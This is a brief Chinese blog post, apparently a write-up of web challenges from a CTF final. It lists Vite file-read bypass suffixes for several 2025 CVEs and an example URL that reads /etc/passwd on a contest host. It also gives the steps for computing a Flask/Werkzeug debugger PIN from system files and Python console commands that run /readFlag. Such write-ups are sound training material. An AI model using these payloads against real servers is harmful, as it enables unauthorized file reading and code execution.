npcc决赛web_wp
这周末有蓝桥杯和大英赛,抽空看看.tgctf也没什么时间看:(
web
ezphp
filter chain
签到
1 |
|
& 符号表示引用(Reference),它可以让两个变量指向同一个内存地址。当我们用 &$test->a 时,表示直接操作对象属性的内存地址
saki
vite文件任意读漏洞
- 2025-30208
?raw??
|?import&raw??
- 2025-31125
?raw?import
|?inline&import
- 2025-31486
?.svg?.wasm?init
成功了,只有这个不依赖于@fs
pin码生成
1.username 读 /etc/passwd
和/proc/self/environ
找到USER
app
2.modname 默认flask.app
3.appname 默认Flask
4.moddir flask库下app.py的绝对路径,通过专辑路径报错/play/00
得到
/usr/lib/python3/dist-packages/flask/app.py
5.uuidnode mac地址的十进制,读 /sys/class/net/eth0/address
ce:33:61:9c:72:aa
6.machine_id 机器码 /proc/sys/kernel/random/boot_id
/etc/machine-id
/proc/self/cgroup
尝试常见路径
c1d07e54-24f7-49a1-9a9f-d1dd8d1a2291
1 | # http://175.27.249.18:32416/static/etc/passwd?.svg?.wasm?init |
这里生成pin码还需要根据werkzeug的版本,详见新版flask pin码计算
python控制台
1 | import subprocess |
直接采用
os
模块os.popen('cat /readFlag')
不行
1
2
3
4 # /readFlag 是可执行程序:
subprocess.check_output('/readFlag') # 触发程序逻辑(生成flag)
# cat /readFlag 是读取文件内容:
os.popen('cat /readFlag').read() # 输出的是ELF二进制机器码乱码
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来源 loading233!